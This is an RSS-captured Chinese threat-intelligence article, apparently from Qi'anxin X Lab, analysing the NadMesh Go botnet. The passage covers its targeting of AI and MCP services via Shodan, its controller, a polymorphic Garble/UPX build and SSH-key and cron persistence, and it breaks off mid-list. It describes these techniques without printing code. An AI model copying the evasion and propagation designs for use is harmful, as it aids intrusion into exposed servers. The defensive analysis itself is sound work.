      <link>https://mp.weixin.qq.com/s?__biz=MzkxMDYzODQxNA==&amp;mid=2247484805&amp;idx=1&amp;sn=30d943099dcf41da05966c32d27f2991</link>
      <description>概述2026 年 7 月初，我们注意到一个用 Go 语言编写的僵尸网络正在向互联网大规模投递 Bot 样本。</description>
      <content:encoded><![CDATA[<p>原创 <span>奇安信X实验室</span> <span>2026-07-17 16:02</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e2e7efbd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fa6IDQoib5s8yP2up5HhVc6DYpZkKSXNmODL4pVHDpoXBFCRMHYuUZQTiaa1ibupV2K3u6F7ibrrZq7nlubGLPCclUPib3FEGOSadADLL0Q1UI72E%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h1 data-pm-slice="0 0 []"><font dir="auto"><font dir="auto"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">概述</span></span></font></font><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">2026 年 7 月初，我们注意到一个用 Go 语言编写的僵尸网络正在向互联网大规模投递 Bot 样本。它把扫描、漏洞利用、凭证与 AI 服务情报收割整合在同一套自治平台里。由于其控制端在代码中自称 </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">n4d mesh controller</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">，我们将其命名为 </span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">NadMesh</span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">NadMesh 并非一次性的蠕虫爆发，而是一个长期迭代、目标明确指向 AI 基础设施与 MCP 生态的自治型僵尸网络。它区别于传统蠕虫的地方在于：</span></p><ul class="list-paddingleft-1"><li><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">自治扫描引擎：内置 90+ 个云服务商地址段，无人值守持续扩散</span></strong></li><li><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">20+ 漏洞利用向量：覆盖 Redis、Docker、MCP、K8s 等多种服务的 RCE</span></strong></li><li><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">AI 服务定向收割：通过 Shodan 搜集 ComfyUI、Ollama 等 AI 服务 IP，并赋予最高扫描优先级</span></strong></li><li><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">产品化运营：内置 Web 面板、转化漏斗统计、金丝雀更新，运营全程可观测</span></strong></li><li><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">持久化双保险：SSH 公钥后门 + Agent 进程 + Cron 看门狗，单点清除难以根除</span></strong></li><li><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">多态构建：Garble 混淆 + UPX 压缩 + 随机填充，每份 Agent 哈希互异</span></strong></li></ul><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">综合来看，NadMesh 的威胁本质不是脚本小子的拼凑，而是有明确商业意图、注重投入产出比的产业级恶意软件，呈现出明显区别于传统蠕虫的「长期演进型」形态。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img alt="截屏2026-07-10 12.35.21.png" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001141" data-ratio="0.7657407407407407" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1c815980&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8ztFamV0yiaNGfvfXGq6SncrxDQF0nbVRtQSKW99YibwibyuvGqGSa4xlnvY0oOib1GibwTX62DBBefu5goQ8wOUKAaQcWJ0iaO6XLCc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">NadMesh 目前仍处于起步阶段，感染趋势如下：</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-aistatus="1" alt="截屏2026-07-10 12.17.24.png" class="rich_pages wxw-img" data-ratio="0.5466666666666666" data-type="png" data-w="675" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" data-imgfileid="100001142" src="https://wechat2rss.xlab.app/img-proxy/?k=1b0093a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8x2IH3icNmdpguFiaEdaRSBcbFNCAmibOibtWiaTZFptAyCQcBWsIf2SRKMzLXRcUJUIMHDPY1Drn1icqO5arFIuTTQy9Eg4hwRqDB0Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">我们观察到的 NadMesh 漏洞利用分布：</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-aistatus="1" alt="mesh-vul.png" class="rich_pages wxw-img" data-ratio="0.45185185185185184" data-type="png" data-w="1080" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" data-imgfileid="100001143" src="https://wechat2rss.xlab.app/img-proxy/?k=7cf2cdb3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8ybobk1icL0VSunO9oeuBNNianJpSkkIpB76jAmgBDeODUK7BY9oDfMHsc7anFLVWSHYwkxibZeRAYuzBzHUYh4yAeDzwnz6qrB9M%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></h1><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">NadMesh 完整攻击杀伤链</span></span></h1><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">通过对样本文件的详细分析，我们发现 NadMesh 整体是一套以攻击者 VPS 为中枢、目标网络为执行面的自治化闭环攻击平台，运营模式高度产品化。整条杀伤链可以拆成「情报 → 控制 → 补给 → 构建 → 投递」五个协同环节。</span></p><p><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">情报侧</span></span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">由</span> </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">ai_harvest.py</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"> 承担，它借助 Shodan API 定向搜集 ComfyUI、Ollama、n8n、Open WebUI、Langflow、Gradio 等 AI/MCP 服务资产，并以最高优先级（</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">priority=20</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">）注入扫描队列——这是其攻击意图明确指向 AI 基础设施的最直接证据。</span></p><p><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">控制侧</span></span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">是</span> </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">controller_go.go</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">，监听 80/8443 端口，负责 Bot 注册与 beacon 回连、下发 CIDR + 端口扫描任务、回收部署结果与凭证情报，并通过 </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">/panel</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"> 可视化面板实现对整个僵尸网络的可观测运营。</span></p><p><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">补给侧</span></span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">由四个脚本构成任务自治供给回路：</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">yield_generator.py</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"> 放大高产网段、</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">auto_inject.sh</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"> 周期重扫危险 IP、</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">reinject.sh</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"> 做全量高优先级重扫、</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">auto_blacklist.sh</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"> 自动规避蜜罐 IP。这套回路让「扫描—利用—再扩散」无需人工干预即可持续放大。</span></p><p><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">构建与投递侧</span></span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">，</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">build_agent.sh</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"> 采用 Garble 符号/字面量混淆 + UPX-9 压缩 + 随机填充的多态构建策略，保证每份 Agent 哈希互异以对抗特征检测；随后由 </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">vps_deployer.py</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">（Docker/MCP/Redis 三向量）与 </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">push_deployer.py</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">（二进制 + watchdog 推送）负责主动投递部署。</span></p><p><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">在受害端</span></span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">，Bot Agent 落地后通过三条路径完成持久化：</span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 